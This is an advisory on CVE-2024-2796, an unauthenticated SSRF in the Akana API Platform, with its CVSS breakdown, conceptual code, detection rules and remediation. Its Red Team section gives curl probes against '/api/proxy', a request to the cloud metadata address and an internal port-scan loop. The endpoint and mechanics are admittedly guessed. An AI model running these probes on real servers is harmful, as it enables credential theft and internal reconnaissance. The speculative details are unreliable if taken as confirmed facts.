CVE-2024-2796

Executive Summary

CVE-2024-2796 is a critical Server-Side Request Forgery (SSRF) vulnerability in the Akana API Platform, affecting versions up to and including 2022.1.3. Discovered by Jakob Antonsson, this flaw allows an unauthenticated attacker to make arbitrary HTTP requests from the vulnerable server, potentially leading to internal network reconnaissance, data exfiltration, or further lateral movement. With a CVSS score of 9.3, the vulnerability is classified as critical due to its low attack complexity and network-based attack vector. No public proof-of-concept (PoC) or patch details are currently available, but the risk is significant for organizations using the Akana API Platform in production environments.

CVSS Breakdown & Threat Level

• CVSS Score: 9.3 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – exploitation can affect resources beyond the vulnerable component.
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is critical due to the lack of authentication required and the potential for full compromise of internal systems. The SSRF can be used to bypass firewalls, access internal services, and pivot to other hosts.

Deep Dive & Mechanics

The Akana API Platform is a comprehensive API management solution. The SSRF vulnerability exists in the platform's proxy or request forwarding functionality, where user-supplied URLs are not properly validated. An attacker can craft a malicious request that forces the server to make HTTP requests to arbitrary destinations, including internal IP addresses (e.g., 127.0.0.1, 10.0.0.0/8, 192.168.0.0/16) or cloud metadata endpoints (e.g., 169.254.169.254).

The vulnerability likely stems from insufficient input sanitization in the API endpoint that handles URL forwarding or proxy requests. By manipulating parameters such as url, target, or proxy, an attacker can trick the server into sending requests to internal resources. This can lead to:

• Internal Network Scanning: Identifying live hosts and services.
• Cloud Metadata Access: Retrieving IAM credentials from cloud providers (AWS, GCP, Azure).
• Data Exfiltration: Reading sensitive files or databases accessible only from the server.
• Lateral Movement: Exploiting other internal services.

Vulnerable vs. Patched Code

Since no patch details are available, the following is a hypothetical comparison based on common SSRF fixes.

Vulnerable Code (Conceptual):

def proxy_request(url):
    # No validation of the URL
    response = requests.get(url)
    return response.content

Patched Code (Conceptual):

def proxy_request(url):
    # Validate URL against a whitelist of allowed domains
    allowed_domains = ["api.example.com", "trusted-service.com"]
    parsed_url = urlparse(url)
    if parsed_url.hostname not in allowed_domains:
        raise ValueError("URL not allowed")
    # Also block private IPs
    if is_private_ip(parsed_url.hostname):
        raise ValueError("Private IPs not allowed")
    response = requests.get(url)
    return response.content

The patched version implements a whitelist of allowed domains and blocks requests to private IP addresses, mitigating the SSRF risk.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Akana API Platform instance (version 2022.1.3 or earlier) in a controlled environment.
2. Set up a listener on an internal server (e.g., 10.0.0.5:8080) to capture incoming requests.
3. Use the following curl command to test the SSRF:

curl -X POST "http://target-akana-server/api/proxy" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://10.0.0.5:8080/test"}'

4. If successful, the internal server will receive a request from the Akana server.

Advanced Exploitation:

• Access cloud metadata:

curl -X POST "http://target-akana-server/api/proxy" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/"}'

• Scan internal ports:

for port in 80 443 8080 3306; do
  curl -s -X POST "http://target-akana-server/api/proxy" \
    -d "{\"url\": \"http://192.168.1.1:$port\"}"
done

Blue Team

Detection:

• Monitor outbound HTTP requests from the Akana server to unexpected destinations.
• Look for requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) or cloud metadata IPs.
• Analyze server logs for unusual URL parameters in proxy endpoints.

Mitigation:

• Implement network segmentation to restrict outbound traffic from the Akana server.
• Use a web application firewall (WAF) to block requests containing private IPs or suspicious URL patterns.
• Apply input validation and whitelist allowed URLs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests from the Akana server to private IP addresses (e.g., 10.x.x.x, 192.168.x.x, 172.16.x.x).
  • Requests to cloud metadata endpoints (169.254.169.254).
  • Unusual URL parameters containing url, target, or proxy with internal IPs.
• Log IOCs:
  • Server logs showing GET or POST requests to /api/proxy or similar endpoints with suspicious url parameters.
  • Error logs indicating connection attempts to unreachable internal hosts.
• File IOCs:
  • Temporary files or cached responses from internal services.

Detection Engineering

YARA Rule

rule CVE_2024_2796_SSRF_Akana {
    meta:
        description = "Detects SSRF exploitation attempts against Akana API Platform"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-2796"
    strings:
        $url_param = /(url|target|proxy)=https?:\/\/(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/ nocase
        $cloud_meta = "169.254.169.254"
        $internal_ip = /10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}/
    condition:
        any of ($url_param) or ($cloud_meta) or ($internal_ip)
}

Sigma Rule

title: CVE-2024-2796 SSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts against Akana API Platform by monitoring outbound HTTP requests to private IPs or cloud metadata endpoints.
author: Valters IT
date: 2024/10/27
logsource:
    category: proxy
    product: akana
detection:
    selection:
        url|contains:
            - '127.0.0.1'
            - '10.'
            - '192.168.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '169.254.169.254'
    condition: selection
falsepositives:
    - Legitimate internal API calls if allowed
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2796 SSRF Exploitation Attempt"; flow:to_server; content:"url"; http_client_body; pcre:"/(127\.0\.0\.1|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or restrict the vulnerable proxy endpoint if not required.
   • Implement network-level controls to block outbound traffic from the Akana server to private IP ranges and cloud metadata endpoints.
   • Apply a WAF rule to filter requests containing suspicious URL parameters.

2. Long-term Fix:

   • Upgrade to a patched version of the Akana API Platform once available.
   • If no patch is forthcoming, consider migrating to an alternative API management solution.
   • Conduct a thorough security review of the platform's input validation and URL handling.

3. Monitoring:

   • Enable detailed logging for all proxy requests.
   • Set up alerts for any outbound requests to private IPs or cloud metadata.
   • Regularly review logs for signs of exploitation.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert